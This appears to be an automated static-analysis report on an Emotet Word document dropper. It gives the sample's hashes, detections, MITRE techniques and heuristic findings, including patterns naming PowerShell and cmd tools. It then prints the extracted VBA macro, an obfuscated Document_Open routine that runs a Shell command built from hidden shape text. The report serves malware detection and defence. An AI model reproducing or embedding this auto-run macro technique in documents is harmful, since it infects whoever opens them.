Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3481a7dc18c69249…

MALICIOUS

Office (OLE)

69.6 KB Created: 2018-11-08 11:05:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 8e6d8b0146d636dddb702e1d093208d9 SHA-1: 2d7c79fd7e737872abb2573bfcf294793f5d3ef1 SHA-256: 3481a7dc18c6924966720b040585e3ce4203e7dcfe81bba78dba2feac6b1c8d7
270 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Document_Open VBA macro that executes a complex PowerShell command. This command decodes a Base64 string, decompresses it, and then executes it using PowerShell, likely to download and run a second-stage payload. The ClamAV detection and heuristic firings strongly indicate this is an Emotet dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-6769504-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6769504-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatNumber (fGZTi + IcTzKQ + pTbKd + lNOOt / GrULb + CFViR)
rnYnkZAfWT = Shell("" + ZcvEq + UssUzwu + Shapes(ZFUCzEL + pQwWMn + 1 + CGTqB + jwTfDo).TextFrame.TextRange.Text + SWYjPCGU + hBSkzj, 359069471 - 359069471)
   FormatNumber uFwwm + stdBu + AaSjEi + EwmqEw + (BQuzBV + DNrUD + Gaplal + mdbRr)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1398 bytes
SHA-256: c171e5a645f9154b6122576c6574303a44e81d6257f2682acda538f86b0e6eab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sntrdFifMof"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   TimeValue (CVNvMN + rCXGDD + kFzks + wlVOCw * iMUrU + VEUZsz)
   FormatDateTime PfHmH + fqjXUU + lWjYvo + nUbzjr / (mMGGQ + ddLihS + HaQbY + KUHwHp)
   FormatNumber (SuDHCQ + sdcQEX + HLFqd + aNDAb - jifNwQ + zLiHWi + sOwoK + VEMwt + MIYFr + fMjsN - iARav + EiMbd + QPpHU + WjUhEi)
   TimeValue (Rumri + jtqlTZ) + nRAwsN + FiiflS
   TimeValue DrSRzB + JKBvIn * LEkiNp + NXrHVi * wvnCph + qtJdK
   TimeValue qiJAJd + MZSpNq + EjsoC + PEFap + fsbVO + kvJNA / (TJbuG + fwmGn + SQLYX + YjKwzo)
   Error (nnnUcn + YQKXSz - (nzsQrj + bznRr))
   Error KuHCI + qjwsl - Bupjzs + BOIdRZ
   FormatDateTime LnzCkp + NWDUJb + EzziR + GmSpZP * tCRpcW + ivwqBk * jTdci + sJJdn + HjZUJ + VsqLEN
   FormatNumber (fGZTi + IcTzKQ + pTbKd + lNOOt / GrULb + CFViR)
rnYnkZAfWT = Shell("" + ZcvEq + UssUzwu + Shapes(ZFUCzEL + pQwWMn + 1 + CGTqB + jwTfDo).TextFrame.TextRange.Text + SWYjPCGU + hBSkzj, 359069471 - 359069471)
   FormatNumber uFwwm + stdBu + AaSjEi + EwmqEw + (BQuzBV + DNrUD + Gaplal + mdbRr)
   FormatDateTime vwnYj + IwSBl / TiPcfA + DuAwmC
End Sub

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